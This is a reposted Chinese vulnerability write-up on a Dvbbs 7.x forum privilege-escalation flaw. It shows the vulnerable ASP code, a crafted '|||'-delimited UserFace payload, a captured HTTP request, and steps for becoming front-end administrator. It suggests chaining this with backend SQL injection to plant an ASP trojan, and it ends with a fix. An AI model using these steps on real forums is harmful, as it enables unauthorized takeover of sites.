网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 黑客技术 > 漏洞分析 > 动网论坛权限提升漏洞(图)  

动网论坛权限提升漏洞(图)

2005-07-02  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件 网管u家u.bitscn@com

存在注入漏洞,但利用的前提是拥有超级斑竹或前台管理员权限。我想起以前发现的 网管网www.bitscn.com

动网7.x版本存在一个前台权限提升漏洞,

网管下载dl.bitscn.com

正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和 Sql版都有效。下面

网管网www.bitscn.com

我们就以7.0 sp2 sql版,讲解这个漏洞的利用。

网管下载dl.bitscn.com

漏洞分析
我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用 网管下载dl.bitscn.com

户的权限。它是如何取得这个GroupID的呢? 网管u家u.bitscn@com

让我们看看登录验证的那一段:

网管u家u.bitsCN.com

login.asp的525行左右 中国网管论坛bbs.bitsCN.com

Rem ==========论坛登录函数=========

中国网管论坛bbs.bitsCN.com

Rem 判断用户登录

网管u家u.bitscn@com

Function ChkUserLogin(username,password,mobile,usercookies,ctype)

中国网管联盟bitsCN.com

 

网管论坛bbs_bitsCN_com

…………前面的代码省略 网管联盟bitsCN@com

Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic, 网管下载dl.bitscn.com

UserSex,UserFace ,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,

网管网www.bitscn.com

Lockuser,Userclass,UserGroupID,UserGroup, userWealth,userEP,userCP, 网管联盟bitsCN_com

UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden, 网管u家u.bitscn@com

UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday " 网管下载dl.bitscn.com

Sql=Sql+" From [Dv_User] Where "&sqlstr&"" 中国网管论坛bbs.bitsCN.com

set rsUser=Dvbbs.Execute(sql) 中国网管论坛bbs.bitsCN.com

If rsUser.eof and rsUser.bof Then 网管下载dl.bitscn.com

ChkUserLogin=false 中国网管论坛bbs.bitsCN.com

Exit Function 网管论坛bbs_bitsCN_com

Else

网管联盟bitsCN_com

iMyUserInfo=rsUser.GetString(,1, "|||", "", "") 中国网管论坛bbs.bitsCN.com

rsUser.Close:Set rsUser = Nothing 中国网管联盟bitsCN.com

End If

网管u家u.bitsCN.com

iMyUserInfo = "Dvbbs|||"& Now & "|||" & Now &"|||"& Dvbbs.BoardID &"|||"& 网管论坛bbs_bitsCN_com

iMyUserInfo &"||||||Dvbbs" 网管bitscn_com

iMyUserInfo = Split(iMyUserInfo,"|||") 网管下载dl.bitscn.com

If trim(password)<>trim(iMyUserInfo(6)) Then

网管u家u.bitscn@com

ChkUserLogin=false

网管u家u.bitsCN.com

ElseIf iMyUserInfo(17)=1 Then 网管联盟bitsCN@com

ChkUserLogin=false 网管网www.bitscn.com

ElseIf iMyUserInfo(19)=5 Then

网管u家u.bitsCN.com

ChkUserLogin=false 网管网www.bitscn.com

Else 中国网管联盟bitsCN.com

ChkUserLogin=True

网管网www_bitscn_com

Session(Dvbbs.CacheName & "UserID") = iMyUserInfo

网管u家u.bitscn@com

Dvbbs.UserID = iMyUserInfo(4) 网管u家u.bitscn@com

RegName = iMyUserInfo(5)

网管u家u.bitscn@com

Article = iMyUserInfo(8) 网管下载dl.bitscn.com

UserLastLogin = iMyUserInfo(15)

中国网管论坛bbs.bitsCN.com

UserClass = iMyUserInfo(18)

网管网www_bitscn_com

GroupID = iMyUserInfo(19)

网管联盟bitsCN_com

TitlePic = iMyUserInfo(34) 网管网www.bitscn.com

If Article<0 Then Article=0 网管下载dl.bitscn.com

End If 网管联盟bitsCN_com

…………后面的代码省略 网管网www_bitscn_com

可以看到,动网将用户的信息先用”|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,

中国网管联盟bitsCN.com

然后iMyUserInfo由”|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元 网管网www.bitscn.com

素的值:iMyUserInfo(19) 赋给GroupID。看到没,GroupID只是数组对应的第20个元素的 网管bitscn_com

值,如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。 在 网管网www.bitscn.com

inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码,用来在用户更新信 网管下载dl.bitscn.com

息后检测用户的权限。 Dv_ClsMain.asp的650行左右

网管下载dl.bitscn.com

Public Sub TrueCheckUserLogin()

网管论坛bbs_bitsCN_com

……前面的省略 网管下载dl.bitscn.com

Dim Rs,SQL 中国网管联盟bitsCN.com

Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,

网管论坛bbs_bitsCN_com

UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass, 中国网管联盟bitsCN.com

UserGroupID, UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,

网管联盟bitsCN@com

UserLastIP,UserDel,UserIsBest, UserHidden,UserMsg,IsChallenge,UserMobile, 网管联盟bitsCN_com

TitlePic,UserTitle,TruePassWord,UserToday" Sql=Sql+" From [Dv_User] Where

网管网www_bitscn_com

UserID = " & UserID

网管联盟bitsCN@com

Set Rs = Execute(Sql)

网管论坛bbs_bitsCN_com

If Rs.Eof And Rs.Bof Then

网管网www_bitscn_com

Rs.Close:Set Rs = Nothing

网管联盟bitsCN@com

UserID = 0

网管联盟bitsCN_com

EmptyCookies 网管u家u.bitsCN.com

LetGuestSession()

网管u家u.bitscn@com

Else

网管网www.bitscn.com

MyUserInfo=Rs.GetString(,1, "|||","","")

网管网www_bitscn_com

Rs.Close:Set Rs = Nothing

网管bitscn_com

If IsArray(Session(CacheName & "UserID")) Then

网管联盟bitsCN@com

MyUserInfo = "Dvbbs|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& 网管论坛bbs_bitsCN_com

BoardID &"|||"& MyUserInfo &"||||||Dvbbs" 网管联盟bitsCN_com

Else

网管联盟bitsCN_com

MyUserInfo = "Dvbbs|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID

网管bitscn_com

&"|||"& MyUserInfo &"||||||Dvbbs"

网管下载dl.bitscn.com

End IF 网管网www_bitscn_com

Response.Write MyUserInfo 中国网管联盟bitsCN.com

MyUserInfo = Split(MyUserInfo,"|||") 网管网www_bitscn_com

……

网管联盟bitsCN@com

End If

网管联盟bitsCN@com

End Sub 中国网管论坛bbs.bitsCN.com

'用户登录成功后,采用本函数读取用户数组并判断一些常用信息

网管论坛bbs_bitsCN_com

Public Sub GetCacheUserInfo() 中国网管论坛bbs.bitsCN.com

MyUserInfo = Session(CacheName & "UserID") 中国网管联盟bitsCN.com

UserID = Clng(MyUserInfo(4))

网管论坛bbs_bitsCN_com

MemberName = MyUserInfo(5)

网管下载dl.bitscn.com

Lastlogin = MyUserInfo(15) 网管联盟bitsCN_com

If Not IsDate(LastLogin) Then LastLogin = Now()

中国网管联盟bitsCN.com

UserGroupID = Cint(MyUserInfo(19)) 中国网管论坛bbs.bitsCN.com

    ……后面代码省略 网管u家u.bitsCN.com


 两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的 网管下载dl.bitscn.com

目的。看它的sql语句部分:

网管网www.bitscn.com

Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic, 网管网www.bitscn.com

UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,

中国网管联盟bitsCN.com

Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP, 网管下载dl.bitscn.com

UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden, 网管bitscn_com

UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday"


Sql=Sql+" From [Dv_User] Where UserID = " & UserID


UserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有”|||”,那么

网管联盟bitsCN@com

UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊 网管u家u.bitsCN.com

的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组, 网管论坛bbs_bitsCN_com

并且还得是上面sql语句中排在UserGroupID前面的字段,这样才能使构造的数组改变

网管联盟bitsCN@com

原来数组中 网管bitscn_com

UserGroupID的位置。对照图(1),

我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的 中国网管论坛bbs.bitsCN.com

存在,我们没法在UserEmail字段中插入’|’,所以能利用的就只有UserFace字段了。

在基本资料修改时,动网只过滤了sql注入用的几个符号,没有过滤掉’|’,所以只要 网管联盟bitsCN@com

我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。

  face=Dv_FilterJS(replace(face,"'",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

漏洞的利用
如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为

网管论坛bbs_bitsCN_com

1就可以是管理员了,但一直没有成功。其实我们在构造这个UserFace时还要考虑 中国网管论坛bbs.bitsCN.com

到一点,我们已经改变了iMyUserInfo数组的结构,我们必须保证新的iMyUserInfo数

中国网管联盟bitsCN.com

组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday, 网管论坛bbs_bitsCN_com

在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的 网管u家u.bitscn@com

UserFace值,然后将UserGroupID位置改为一。我修改了login.asp文件,让它在用户登录时显示当前用户的 中国网管论坛bbs.bitsCN.com

iMyUserInfo的内容,见图(2)


例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了) 网管联盟bitsCN@com

登录时的iMyUserInfo的值为:

Dvbbs|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8|||

eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00||| 网管u家u.bitscn@com

2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200

|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs

我们可以取

images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs

做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为 网管网www_bitscn_com

100个,我们可以用NC来提交。


先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路如图(3)。

好了,我们去修改基本信息的地方如图(4)


提交,用wse抓下这个包,如图(5)。


截取到的包如下:

POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,

网管u家u.bitscn@com

application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://210.41.235.199/bs/mymodify.asp

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; . 网管联盟bitsCN_com

NET CLR 1.1.4322)

Host: 210.41.235.199

Content-Length: 396

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: 210%2E41%2E235%2E199%2Fbs%2F=usercookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=

网管网www.bitscn.com

test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA 网管网www.bitscn.com

=IEGHDLKCCHDMOBPFPFFHMNAM

title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country 网管下载dl.bitscn.com

=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation 网管联盟bitsCN_com

=&marital=&education=&college=&Submit=%B8%FC+%D0%C2


好,我们把userface的值给替换成

images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||

9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs



要注意中间的空格替换成%20,重新计算Content-Length的值,然后用NC提交一次,我们这个用户的userface就

中国网管联盟bitsCN.com

替换过来了,如图六。我们现在再重新登陆看看(图(7,8))




哈哈,看到了吗?我们已经是管理员了。再利用《动网7.1漏洞惊现江湖》一文中的漏洞就可以添加后台管理员了。



动网7.1利用方法
动网的7.1版利用这个漏洞的方法有点小变化,难度也比7.0 sp2要大。7.1版中加入了对face变量中的’|’符号的过滤

中国网管联盟bitsCN.com


mymodify.asp文件中的270行附近:

face=Dv_FilterJS(Replace(face,"'",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

可惜的是动网的程序员百密而一疏,忘了注册时也可以修改头像,在reg.asp中就没有对face变量做任何的过滤

Reg.asp文件的285行附近

If Request.form("face")<>"" Then

face=Request.form("face")

End If

同样,还是先抓包后用NC提交。注册登录后就是前台管理员了。但还要一个问题,就是Truepassword问题。7.1

中国网管论坛bbs.bitsCN.com

中加强了对cookie欺骗的防范,所以这个truepassword变化的太频繁了。在7.0sp2的newpass.asp中,只有一个

中国网管联盟bitsCN.com

更新当前用户turepassword的指令:

7.0 sp2的newpass.asp文件
<!--#include file="conn.asp"-->

<!--#include file="inc/const.asp"-->

<%

Dvbbs.NewPassword0()

%>

而在7.1中,newpass.asp还会检查用户的cookies是否更新

7.1 newpass.asp文件的30行左右

'检查写入是否成功如果成功则更新数据

If Dvbbs.checkStr(Trim(Request.Cookies(Dvbbs.Forum_sn)("password")))=TruePassWord Then

Dvbbs.Execute("UpDate [Dv_user] Set TruePassWord='"&TruePassWord&"' where UserID="&Dvbbs.UserID)

Dvbbs.MemberWord = TruePassWord

Dim iUserInfo

iUserInfo = Session(Dvbbs.CacheName & "UserID")

iUserInfo(35) = TruePassWord

Session(Dvbbs.CacheName & "UserID") = iUserInfo

End If

在7.1中,我们的客户端的cookies中的truepassword被更新成新的truepassword,由于服务器端的truepassword

网管u家u.bitscn@com

也是从MyUserInfo中得来的,而MyUserInfo中的truepassword值是不会改变的,在检测时就会形成一个死循环。

中国网管联盟bitsCN.com

我们的解决的办法是用cookies锁定,用桂林老兵的浏览器锁定我们的cookies,之前得将cookies中的truepassword

网管u家u.bitscn@com

值设成和MyUserInfo中的truepassword值一致。这样就不会重复请求newpass.asp进入死循环了。

由于手头上没有7.1的sql版的代码,所以上面是在7.1的Access版下测试的,可以成功的成为前台的管理员。

后记


漏洞的防范方法:改数据库结构的工程大了点,建议在reg.asp和mymodify.asp中加入对相应变量的”|”符号进行过滤,比如:

face=Dv_FilterJS(Replace(face,"'",""))

face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","")

还想提一点,动网太信任后台的管理员了,所以在后台的很多地方都没有对sql注入进行防范,这就形如给我们开了一个

网管下载dl.bitscn.com

sql注入之门。我们曾经检测的一个网站,设置的非常BT。上面用的就是dvbbs的论坛。当我们取得了dvbbs的后台管理

网管联盟bitsCN@com

员权限时才发现上传目录没有执行权限,asp木马传上去了又原样返回。而由执行asp权限的目录又没有写入的权限。网 网管联盟bitsCN@com

站上又没有其他的站点可以注入。后来发现dvbbs后台有注入后才总算得到一匹小马。真是千里之堤,溃于蚁穴啊。

哆嗦一句,这个权限提升漏洞没有太高深的技巧,但后果是非常严重的。由于前台管理的多个页面存在sql注入,所以这 网管联盟bitsCN_com

个漏洞对dvbbs 7.x sql版的危害非常大。请不要用本文的方法做破坏行为,否则后果自负。

网管联盟bitsCN@com


 上一篇:PHPBB2.0.15远程数据库信息泄露漏洞试用小记(图)   下一篇:Unicode漏洞入门(一)-
动网论坛权限提升漏洞(图) 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: